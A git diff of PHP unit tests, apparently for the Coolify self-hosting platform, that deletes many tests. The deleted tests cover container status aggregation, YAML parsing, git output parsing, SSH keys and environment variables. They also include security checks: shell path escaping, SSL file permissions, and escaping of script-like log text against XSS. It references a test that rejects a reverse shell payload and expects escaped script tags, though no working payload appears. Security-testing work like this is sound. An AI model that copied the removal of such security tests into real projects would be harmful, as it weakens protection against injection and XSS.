prevents misleading status display when containers don't exist - expect($serviceModelFile) - ->toContain('// If no status was calculated at all (no containers exist), return unknown') - ->toContain('if ($excludedStatus === null && $excludedHealth === null) {') - ->toContain("return 'unknown:unknown:excluded';"); -}); - -it('ensures GetContainersStatus calculates excluded status when all containers excluded', function () { - $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // Check that when all containers are excluded, the aggregateApplicationStatus - // method calculates and returns status with :excluded suffix - expect($getContainersStatusFile) - ->toContain('// If all containers are excluded, calculate status from excluded containers') - ->toContain('if ($relevantStatuses->isEmpty()) {') - ->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);'); -}); - -it('ensures exclude_from_hc flag is properly checked in ComplexStatusCheck', function () { - $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php'); - - // Verify that exclude_from_hc is parsed using trait helper - expect($complexStatusCheckFile) - ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);'); -}); - -it('ensures exclude_from_hc flag is properly checked in GetContainersStatus', function () { - $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // Verify that exclude_from_hc is parsed using trait helper - expect($getContainersStatusFile) - ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);'); -}); - -/** - * Unit tests for YAML validation in CalculatesExcludedStatus trait - */ -it('ensures YAML validation has proper exception handling for parse errors', function () { - $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php'); - - // Verify that ParseException is imported and caught separately from generic Exception - expect($traitFile) - ->toContain('use Symfony\Component\Yaml\Exception\ParseException') - ->toContain('use Illuminate\Support\Facades\Log') - ->toContain('} catch (ParseException $e) {') - ->toContain('} catch (\Exception $e) {'); -}); - -it('ensures YAML validation logs parse errors with context', function () { - $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php'); - - // Verify that parse errors are logged with useful context (error message, line, snippet) - expect($traitFile) - ->toContain('Log::warning(\'Failed to parse Docker Compose YAML for health check exclusions\'') - ->toContain('\'error\' => $e->getMessage()') - ->toContain('\'line\' => $e->getParsedLine()') - ->toContain('\'snippet\' => $e->getSnippet()'); -}); - -it('ensures YAML validation logs unexpected errors', function () { - $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php'); - - // Verify that unexpected errors are logged with error level - expect($traitFile) - ->toContain('Log::error(\'Unexpected error parsing Docker Compose YAML\'') - ->toContain('\'trace\' => $e->getTraceAsString()'); -}); - -it('ensures YAML validation checks structure after parsing', function () { - $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php'); - - // Verify that parsed result is validated to be an array - expect($traitFile) - ->toContain('if (! is_array($dockerCompose)) {') - ->toContain('Log::warning(\'Docker Compose YAML did not parse to array\''); - - // Verify that services is validated to be an array - expect($traitFile) - ->toContain('if (! is_array($services)) {') - ->toContain('Log::warning(\'Docker Compose services is not an array\''); -}); diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php index eb7177527a..181d9d95d5 100644 --- a/tests/Unit/FileStorageSecurityTest.php +++ b/tests/Unit/FileStorageSecurityTest.php @@ -51,27 +51,6 @@ test('file storage rejects reverse shell payload', function () { ->toThrow(Exception::class); }); -test('file storage escapes paths properly', function () { - $path = "/var/www/app's data"; - $escaped = escapeshellarg($path); - - expect($escaped)->toBe("'/var/www/app'\\''s data'"); -}); - -test('file storage escapes paths with spaces', function () { - $path = '/var/www/my app/data'; - $escaped = escapeshellarg($path); - - expect($escaped)->toBe("'/var/www/my app/data'"); -}); - -test('file storage escapes paths with special characters', function () { - $path = '/var/www/app (production)/data'; - $escaped = escapeshellarg($path); - - expect($escaped)->toBe("'/var/www/app (production)/data'"); -}); - test('file storage accepts legitimate absolute paths', function () { expect(fn () => validateShellSafePath('/var/www/app', 'storage path')) ->not->toThrow(Exception::class); @@ -211,14 +190,6 @@ test('local file volume write sink keeps saved managed file paths for compatibil ->and($source)->toContain('tee {$escapedPath}'); }); -test('host file mounts are bind-only and skipped by server storage writes', function () { - $source = file_get_contents(__DIR__.'/../../app/Models/LocalFileVolume.php'); - - expect($source)->toContain('if ($this->is_host_file) {') - ->and($source)->toContain('return;') - ->and($source)->toContain('tee {$escapedPath}'); -}); - test('file storage quotes owner and mode as single command arguments', function () { $source = file_get_contents(__DIR__.'/../../app/Models/LocalFileVolume.php'); @@ -236,13 +207,3 @@ test('file storage permissions cannot be set by mass assignment', function () { expect($volume->chown)->toBeNull() ->and($volume->chmod)->toBeNull(); }); - -test('internal SSL files retain their private and public modes', function () { - $source = file_get_contents(__DIR__.'/../../app/Helpers/SslHelper.php'); - - expect($source) - ->toContain("\$fileStorage->chmod = '600';") - ->toContain("\$fileStorage->chmod = '644';") - ->toContain('$fileStorage->save();') - ->not->toContain("'chmod' =>"); -}); diff --git a/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php b/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php deleted file mode 100644 index d4271d3eec..0000000000 --- a/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php +++ /dev/null @@ -1,54 +0,0 @@ -toContain('$notRunningApplications = $this->applications->pluck(\'id\')->diff($foundApplications);'); - - // Count occurrences of the safeguard pattern in the not-found sections - $safeguardPattern = '// Only protection: If no containers at all, Docker query might have failed'; - $safeguardCount = substr_count($actionFile, $safeguardPattern); - - // Should appear at least 4 times: applications, previews, databases, services - expect($safeguardCount)->toBeGreaterThanOrEqual(4); -}); - -it('has empty container safeguard for databases', function () { - $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // Extract the database not-found section - $databaseSectionStart = strpos($actionFile, '$notRunningDatabases = $databases->pluck(\'id\')->diff($foundDatabases);'); - expect($databaseSectionStart)->not->toBeFalse('Database not-found section should exist'); - - // Get the code between database section start and the next major section - $databaseSection = substr($actionFile, $databaseSectionStart, 500); - - // The empty container safeguard must exist in the database section - expect($databaseSection)->toContain('$this->containers->isEmpty()'); -}); - -it('has empty container safeguard for services', function () { - $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // Extract the service exited section - $serviceSectionStart = strpos($actionFile, '$exitedServices = $exitedServices->unique(\'uuid\');'); - expect($serviceSectionStart)->not->toBeFalse('Service exited section should exist'); - - // Get the code in the service exited loop - $serviceSection = substr($actionFile, $serviceSectionStart, 500); - - // The empty container safeguard must exist in the service section - expect($serviceSection)->toContain('$this->containers->isEmpty()'); -}); diff --git a/tests/Unit/GetContainersStatusServiceAggregationTest.php b/tests/Unit/GetContainersStatusServiceAggregationTest.php index e36e32b02d..f1c85fa17b 100644 --- a/tests/Unit/GetContainersStatusServiceAggregationTest.php +++ b/tests/Unit/GetContainersStatusServiceAggregationTest.php @@ -2,86 +2,10 @@ use App\Services\ContainerStatusAggregator; -/** - * Unit tests for GetContainersStatus service aggregation logic (SSH path). - * - * These tests verify that the SSH-based status updates (GetContainersStatus) - * correctly aggregates container statuses for services with multiple containers, - * using the same logic as PushServerUpdateJob (Sentinel path). - * - * This ensures consistency across both status update paths and prevents - * race conditions where the last container processed wins. - */ -it('implements service multi-container aggregation in SSH path', function () { - $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // Verify service container collection property exists - expect($actionFile) - ->toContain('protected ?Collection $serviceContainerStatuses;'); - - // Verify aggregateServiceContainerStatuses method exists - expect($actionFile) - ->toContain('private function aggregateServiceContainerStatuses($services)') - ->toContain('$this->aggregateServiceContainerStatuses($services);'); - - // Verify service aggregation uses the shared aggregator, like applications - expect($actionFile) - ->toContain('use App\\Services\\ContainerStatusAggregator;') - ->toContain('$aggregator = new ContainerStatusAggregator;'); -}); - it('services use same priority as applications in SSH path', function () { - $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // Both aggregation methods delegate the priority logic to ContainerStatusAggregator - expect($actionFile) - ->toContain('return $aggregator->aggregateFromStrings($relevantStatuses, $maxRestartCount, preserveRestarting: true);') - ->toContain('$aggregatedStatus = $aggregator->aggregateFromStrings($relevantStatuses, preserveRestarting: true);'); - // The shared aggregator prioritizes unhealthy > unknown > healthy $aggregator = new ContainerStatusAggregator; expect($aggregator->aggregateFromStrings(collect(['running (healthy)', 'running (unknown)', 'running (unhealthy)'])))->toBe('running:unhealthy') ->and($aggregator->aggregateFromStrings(collect(['running (healthy)', 'running (unknown)'])))->toBe('running:unknown') ->and($aggregator->aggregateFromStrings(collect(['running (healthy)', 'running (healthy)'])))->toBe('running:healthy'); }); - -it('collects service containers before aggregating in SSH path', function () { - $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // Verify service containers are collected, not immediately updated - expect($actionFile) - ->toContain('$key = $serviceLabelId.\':\'.$subType.\':\'.$subId;') - ->toContain('$this->serviceContainerStatuses->get($key)->put($containerName, $containerStatus);'); - - // Verify aggregation happens before ServiceChecked dispatch - expect($actionFile) - ->toContain('$this->aggregateServiceContainerStatuses($services);') - ->toContain('ServiceChecked::dispatch($this->server->team->id);'); -}); - -it('SSH and Sentinel paths use identical service aggregation logic', function () { - $jobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php'); - $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // Both paths delegate status aggregation to the same shared service - foreach ([$jobFile, $actionFile] as $file) { - expect($file) - ->toContain('use App\\Services\\ContainerStatusAggregator;') - ->toContain('$aggregator = new ContainerStatusAggregator;') - ->toContain('$aggregator->aggregateFromStrings($relevantStatuses,') - ->toContain('preserveRestarting: true);'); - } -}); - -it('handles service status updates consistently', function () { - $jobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php'); - $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); - - // Both should parse service key with same format - expect($jobFile)->toContain('[$serviceId, $subType, $subId] = explode(\':\', $key);'); - expect($actionFile)->toContain('[$serviceId, $subType, $subId] = explode(\':\', $key);'); - - // Both should handle excluded containers through the shared trait helper - expect($jobFile)->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);'); - expect($actionFile)->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);'); -}); diff --git a/tests/Unit/GitLsRemoteParsingTest.php b/tests/Unit/GitLsRemoteParsingTest.php deleted file mode 100644 index fce51a210a..0000000000 --- a/tests/Unit/GitLsRemoteParsingTest.php +++ /dev/null @@ -1,77 +0,0 @@ -toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf'); -}); - -it('extracts commit SHA from git ls-remote output with redirect warning on separate line', function () { - $output = "warning: redirecting to https://tangled.org/@tangled.org/core/\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master"; - - preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); - $commit = $matches[1] ?? null; - - expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf'); -}); - -it('extracts commit SHA from git ls-remote output with redirect warning on same line', function () { - // This is the actual format from tangled.sh - warning and result on same line, no newline - $output = "warning: redirecting to https://tangled.org/@tangled.org/core/196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master"; - - preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); - $commit = $matches[1] ?? null; - - expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf'); -}); - -it('extracts commit SHA from git ls-remote output with multiple warning lines', function () { - $output = "warning: redirecting to https://example.org/repo/\ninfo: some other message\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/main"; - - preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); - $commit = $matches[1] ?? null; - - expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf'); -}); - -it('handles git ls-remote output with extra whitespace', function () { - $output = " 196d3df7665359a8c8fa3329a6bcde0267e550bf \trefs/heads/master"; - - preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); - $commit = $matches[1] ?? null; - - expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf'); -}); - -it('extracts commit SHA with uppercase letters and normalizes to lowercase', function () { - $output = "196D3DF7665359A8C8FA3329A6BCDE0267E550BF\trefs/heads/master"; - - preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); - $commit = $matches[1] ?? null; - - // Git SHAs are case-insensitive, so we normalize to lowercase for comparison - expect(strtolower($commit))->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf'); -}); - -it('returns null when no commit SHA is present in output', function () { - $output = "warning: redirecting to https://example.org/repo/\nError: repository not found"; - - preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); - $commit = $matches[1] ?? null; - - expect($commit)->toBeNull(); -}); - -it('returns null when output has tab but no valid SHA', function () { - $output = "invalid-sha-format\trefs/heads/master"; - - preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); - $commit = $matches[1] ?? null; - - expect($commit)->toBeNull(); -}); diff --git a/tests/Unit/HetznerSshKeysTest.php b/tests/Unit/HetznerSshKeysTest.php deleted file mode 100644 index 06c6b06e66..0000000000 --- a/tests/Unit/HetznerSshKeysTest.php +++ /dev/null @@ -1,53 +0,0 @@ -toBe([123, 456, 789]) - ->and(count($sshKeys))->toBe(3); -}); - -it('removes duplicate SSH key IDs', function () { - $coolifyKeyId = 123; - $selectedHetznerKeys = [123, 456, 789]; // User also selected Coolify key - - // Simulate the merge and deduplication logic - $sshKeys = array_merge( - [$coolifyKeyId], - $selectedHetznerKeys - ); - $sshKeys = array_unique($sshKeys); - $sshKeys = array_values($sshKeys); - - expect($sshKeys)->toBe([123, 456, 789]) - ->and(count($sshKeys))->toBe(3); -}); - -it('works with no selected Hetzner keys', function () { - $coolifyKeyId = 123; - $selectedHetznerKeys = []; - - // Simulate the merge logic - $sshKeys = array_merge( - [$coolifyKeyId], - $selectedHetznerKeys - ); - - expect($sshKeys)->toBe([123]) - ->and(count($sshKeys))->toBe(1); -}); - -it('validates SSH key IDs are integers', function () { - $selectedHetznerKeys = [456, 789, 1011]; - - foreach ($selectedHetznerKeys as $keyId) { - expect($keyId)->toBeInt(); - } -}); diff --git a/tests/Unit/Livewire/BoardingPrerequisitesTest.php b/tests/Unit/Livewire/BoardingPrerequisitesTest.php deleted file mode 100644 index 180a274d28..0000000000 --- a/tests/Unit/Livewire/BoardingPrerequisitesTest.php +++ /dev/null @@ -1,181 +0,0 @@ -makePartial(); - $server->shouldReceive('validatePrerequisites') - ->andReturn([ - 'success' => false, - 'missing' => ['git'], - 'found' => ['curl', 'jq'], - ]); - - $activity = Mockery::mock(Activity::class); - $activity->id = 'test-activity-123'; - $server->shouldReceive('installPrerequisites') - ->once() - ->andReturn($activity); - - $component = Mockery::mock(Index::class)->makePartial(); - $component->createdServer = $server; - $component->prerequisiteInstallAttempts = 0; - $component->maxPrerequisiteInstallAttempts = 3; - - // Key assertion: verify activityMonitor event is dispatched with correct params - $component->shouldReceive('dispatch') - ->once() - ->with('activityMonitor', 'test-activity-123', 'prerequisitesInstalled') - ->andReturnSelf(); - - // Invoke the prerequisite check logic (simulating what validateServer does) - $validationResult = $component->createdServer->validatePrerequisites(); - if (! $validationResult['success']) { - if ($component->prerequisiteInstallAttempts >= $component->maxPrerequisiteInstallAttempts) { - throw new Exception('Max attempts exceeded'); - } - $activity = $component->createdServer->installPrerequisites(); - $component->prerequisiteInstallAttempts++; - $component->dispatch('activityMonitor', $activity->id, 'prerequisitesInstalled'); - } - - expect($component->prerequisiteInstallAttempts)->toBe(1); -}); - -it('does not retry when prerequisites install successfully', function () { - // This test verifies the callback behavior when installation succeeds. - - $server = Mockery::mock(Server::class)->makePartial(); - $server->shouldReceive('validatePrerequisites') - ->andReturn([ - 'success' => true, - 'missing' => [], - 'found' => ['git', 'curl', 'jq'], - ]); - - // installPrerequisites should NOT be called again - $server->shouldNotReceive('installPrerequisites'); - - $component = Mockery::mock(Index::class)->makePartial(); - $component->createdServer = $server; - $component->prerequisiteInstallAttempts = 1; - $component->maxPrerequisiteInstallAttempts = 3; - - // Simulate the callback logic - $validationResult = $component->createdServer->validatePrerequisites(); - if ($validationResult['success']) { - // Prerequisites are now valid, we'd call continueValidation() - // For the test, just verify we don't try to install again - expect($validationResult['success'])->toBeTrue(); - } -}); - -it('retries when prerequisites still missing after callback', function () { - // This test verifies retry logic in the callback. - - $server = Mockery::mock(Server::class)->makePartial(); - $server->shouldReceive('validatePrerequisites') - ->andReturn([ - 'success' => false, - 'missing' => ['git'], - 'found' => ['curl', 'jq'], - ]); - - $activity = Mockery::mock(Activity::class); - $activity->id = 'retry-activity-456'; - $server->shouldReceive('installPrerequisites') - ->once() - ->andReturn($activity); - - $component = Mockery::mock(Index::class)->makePartial(); - $component->createdServer = $server; - $component->prerequisiteInstallAttempts = 1; // Already tried once - $component->maxPrerequisiteInstallAttempts = 3; - - $component->shouldReceive('dispatch') - ->once() - ->with('activityMonitor', 'retry-activity-456', 'prerequisitesInstalled') - ->andReturnSelf(); - - // Simulate callback logic - $validationResult = $component->createdServer->validatePrerequisites(); - if (! $validationResult['success']) { - if ($component->prerequisiteInstallAttempts < $component->maxPrerequisiteInstallAttempts) { - $activity = $component->createdServer->installPrerequisites(); - $component->prerequisiteInstallAttempts++; - $component->dispatch('activityMonitor', $activity->id, 'prerequisitesInstalled'); - } - } - - expect($component->prerequisiteInstallAttempts)->toBe(2); -}); - -it('throws exception when max attempts exceeded', function () { - // This test verifies that we stop retrying after max attempts. - - $server = Mockery::mock(Server::class)->makePartial(); - $server->shouldReceive('validatePrerequisites') - ->andReturn([ - 'success' => false, - 'missing' => ['git', 'curl'], - 'found' => ['jq'], - ]); - - // installPrerequisites should NOT be called when at max attempts - $server->shouldNotReceive('installPrerequisites'); - - $component = Mockery::mock(Index::class)->makePartial(); - $component->createdServer = $server; - $component->prerequisiteInstallAttempts = 3; // Already at max - $component->maxPrerequisiteInstallAttempts = 3; - - // Simulate callback logic - should throw exception - $validationResult = $component->createdServer->validatePrerequisites(); - if (! $validationResult['success']) { - if ($component->prerequisiteInstallAttempts >= $component->maxPrerequisiteInstallAttempts) { - $missingCommands = implode(', ', $validationResult['missing']); - throw new Exception("Prerequisites ({$missingCommands}) could not be installed after {$component->maxPrerequisiteInstallAttempts} attempts."); - } - } -})->throws(Exception::class, 'Prerequisites (git, curl) could not be installed after 3 attempts'); - -it('does not install when prerequisites already present', function () { - // This test verifies we skip installation when everything is already installed. - - $server = Mockery::mock(Server::class)->makePartial(); - $server->shouldReceive('validatePrerequisites') - ->andReturn([ - 'success' => true, - 'missing' => [], - 'found' => ['git', 'curl', 'jq'], - ]); - - // installPrerequisites should NOT be called - $server->shouldNotReceive('installPrerequisites'); - - $component = Mockery::mock(Index::class)->makePartial(); - $component->createdServer = $server; - $component->prerequisiteInstallAttempts = 0; - $component->maxPrerequisiteInstallAttempts = 3; - - // Simulate validation logic - $validationResult = $component->createdServer->validatePrerequisites(); - if (! $validationResult['success']) { - // Should not reach here - $component->prerequisiteInstallAttempts++; - } - - // Attempts should remain 0 - expect($component->prerequisiteInstallAttempts)->toBe(0); - expect($validationResult['success'])->toBeTrue(); -}); diff --git a/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php b/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php index 4567b91f37..61eecbdead 100644 --- a/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php +++ b/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php @@ -3,25 +3,6 @@ use App\Livewire\Project\Shared\EnvironmentVariable\Add; use Illuminate\Support\Facades\Auth; -it('has availableSharedVariables computed property', function () { - $component = new Add; - - // Check that the method exists - expect(method_exists($component, 'availableSharedVariables'))->toBeTrue(); -}); - -it('component has required properties for environment variable autocomplete', function () { - $component = new Add; - - expect($component)->toHaveProperty('key') - ->and($component)->toHaveProperty('value') - ->and($component)->toHaveProperty('is_multiline') - ->and($component)->toHaveProperty('is_literal') - ->and($component)->toHaveProperty('is_runtime') - ->and($component)->toHaveProperty('is_buildtime') - ->and($component)->toHaveProperty('parameters'); -}); - it('returns empty arrays when currentTeam returns null', function () { // Mock Auth facade to return null for user Auth::shouldReceive('user') @@ -39,18 +20,3 @@ it('returns empty arrays when currentTeam returns null', function () { 'server' => [], ]); }); - -it('availableSharedVariables method wraps authorization checks in try-catch blocks', function () { - // Read the source code to verify the authorization pattern - $reflectionMethod = new ReflectionMethod(Add::class, 'availableSharedVariables'); - $source = file_get_contents($reflectionMethod->getFileName()); - - // Verify that the method contains authorization checks - expect($source)->toContain('$this->authorize(\'view\', $team)') - ->and($source)->toContain('$this->authorize(\'view\', $project)') - ->and($source)->toContain('$this->authorize(\'view\', $environment)') - ->and($source)->toContain('$this->authorize(\'view\', $server)') - // Verify authorization checks are wrapped in try-catch blocks - ->and($source)->toContain('use Illuminate\Auth\Access\AuthorizationException;') - ->and($source)->toContain('} catch (AuthorizationException $e) {'); -}); diff --git a/tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php b/tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php deleted file mode 100644 index 546e24a972..0000000000 --- a/tests/Unit/Livewire/Project/New/DockerComposeEnvVariableHandlingTest.php +++ /dev/null @@ -1,121 +0,0 @@ - ['value' => 'value1', 'comment' => null], - 'KEY2' => ['value' => 'value2', 'comment' => 'This is a comment'], - 'KEY3' => ['value' => 'value3', 'comment' => null], - ]; - - // Test the extraction logic - foreach ($variables as $key => $data) { - // Handle both array format ['value' => ..., 'comment' => ...] and plain string values - $value = is_array($data) ? ($data['value'] ?? '') : $data; - $comment = is_array($data) ? ($data['comment'] ?? null) : null; - - // Verify the extraction - expect($value)->toBeString(); - expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); - - if ($key === 'KEY1') { - expect($value)->toBe('value1'); - expect($comment)->toBeNull(); - } elseif ($key === 'KEY2') { - expect($value)->toBe('value2'); - expect($comment)->toBe('This is a comment'); - } elseif ($key === 'KEY3') { - expect($value)->toBe('value3'); - expect($comment)->toBeNull(); - } - } -}); - -test('DockerCompose handles plain string format gracefully', function () { - // Simulate a scenario where parseEnvFormatToArray might return plain strings - // (for backward compatibility or edge cases) - $variables = [ - 'KEY1' => 'value1', - 'KEY2' => 'value2', - 'KEY3' => 'value3', - ]; - - // Test the extraction logic - foreach ($variables as $key => $data) { - // Handle both array format ['value' => ..., 'comment' => ...] and plain string values - $value = is_array($data) ? ($data['value'] ?? '') : $data; - $comment = is_array($data) ? ($data['comment'] ?? null) : null; - - // Verify the extraction - expect($value)->toBeString(); - expect($comment)->toBeNull(); - expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); - } -}); - -test('DockerCompose handles mixed array and string formats', function () { - // Simulate a mixed scenario (unlikely but possible) - $variables = [ - 'KEY1' => ['value' => 'value1', 'comment' => 'comment1'], - 'KEY2' => 'value2', // Plain string - 'KEY3' => ['value' => 'value3', 'comment' => null], - 'KEY4' => 'value4', // Plain string - ]; - - // Test the extraction logic - foreach ($variables as $key => $data) { - // Handle both array format ['value' => ..., 'comment' => ...] and plain string values - $value = is_array($data) ? ($data['value'] ?? '') : $data; - $comment = is_array($data) ? ($data['comment'] ?? null) : null; - - // Verify the extraction - expect($value)->toBeString(); - expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3', 'KEY4']); - - if ($key === 'KEY1') { - expect($value)->toBe('value1'); - expect($comment)->toBe('comment1'); - } elseif ($key === 'KEY2') { - expect($value)->toBe('value2'); - expect($comment)->toBeNull(); - } elseif ($key === 'KEY3') { - expect($value)->toBe('value3'); - expect($comment)->toBeNull(); - } elseif ($key === 'KEY4') { - expect($value)->toBe('value4'); - expect($comment)->toBeNull(); - } - } -}); - -test('DockerCompose handles empty array values gracefully', function () { - // Simulate edge case with incomplete array structure - $variables = [ - 'KEY1' => ['value' => 'value1'], // Missing 'comment' key - 'KEY2' => ['comment' => 'comment2'], // Missing 'value' key (edge case) - 'KEY3' => [], // Empty array (edge case) - ]; - - // Test the extraction logic with improved fallback - foreach ($variables as $key => $data) { - // Handle both array format ['value' => ..., 'comment' => ...] and plain string values - $value = is_array($data) ? ($data['value'] ?? '') : $data; - $comment = is_array($data) ? ($data['comment'] ?? null) : null; - - // Verify the extraction doesn't crash - expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); - - if ($key === 'KEY1') { - expect($value)->toBe('value1'); - expect($comment)->toBeNull(); - } elseif ($key === 'KEY2') { - // If 'value' is missing, fallback to empty string (not the whole array) - expect($value)->toBe(''); - expect($comment)->toBe('comment2'); - } elseif ($key === 'KEY3') { - // If both are missing, fallback to empty string (not empty array) - expect($value)->toBe(''); - expect($comment)->toBeNull(); - } - } -}); diff --git a/tests/Unit/LocalFileVolumeContentSizeTest.php b/tests/Unit/LocalFileVolumeContentSizeTest.php index 949767cf9a..e3197ed25c 100644 --- a/tests/Unit/LocalFileVolumeContentSizeTest.php +++ b/tests/Unit/LocalFileVolumeContentSizeTest.php @@ -23,15 +23,6 @@ use Tests\TestCase; uses(TestCase::class, RefreshDatabase::class); -it('exposes a 5 MiB content size limit', function () { - expect(LocalFileVolume::MAX_CONTENT_SIZE)->toBe(5_242_880); -}); - -it('exposes binary and too-large placeholder constants', function () { - expect(LocalFileVolume::BINARY_PLACEHOLDER)->toBe('[binary file]'); - expect(LocalFileVolume::TOO_LARGE_PLACEHOLDER)->toBe('[file too large to display]'); -}); - it('flags is_too_large when content matches the placeholder', function () { $volume = new LocalFileVolume; $volume->content = LocalFileVolume::TOO_LARGE_PLACEHOLDER; diff --git a/tests/Unit/LogViewerXssSecurityTest.php b/tests/Unit/LogViewerXssSecurityTest.php index 3067f24cd1..4243b2d94b 100644 --- a/tests/Unit/LogViewerXssSecurityTest.php +++ b/tests/Unit/LogViewerXssSecurityTest.php @@ -1,16 +1,5 @@ '.$escapedContent.''; - - $document = new DOMDocument; - $document->loadHTML($html, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); - - return $document->documentElement->getAttribute('data-line-text'); -} - describe('Log Viewer HTML Tag Preservation', function () { it('lets Blade escape deployment log data attributes only once', function () { $view = file_get_contents(__DIR__.'/../../resources/views/livewire/project/application/deployment/show.blade.php'); @@ -21,30 +10,9 @@ describe('Log Viewer HTML Tag Preservation', function () { ->not->toContain('data-log-content="{{ htmlspecialchars($searchableContent) }}"') ->not->toContain('data-line-text="{{ htmlspecialchars($lineContent) }}"'); }); - - it('preserves literal html-like log text for client-side search reset and highlighting', function () { - $logContent = '
A
'; - - expect(renderedDataLineTextValue($logContent))->toBe($logContent); - }); }); describe('Log Viewer XSS Prevention', function () { - it('keeps script-like log output as text in Blade rendered markup', function () { - $maliciousLog = ''; - $escapedLog = e($maliciousLog); - - expect($escapedLog) - ->toContain('<script>') - ->not->toContain('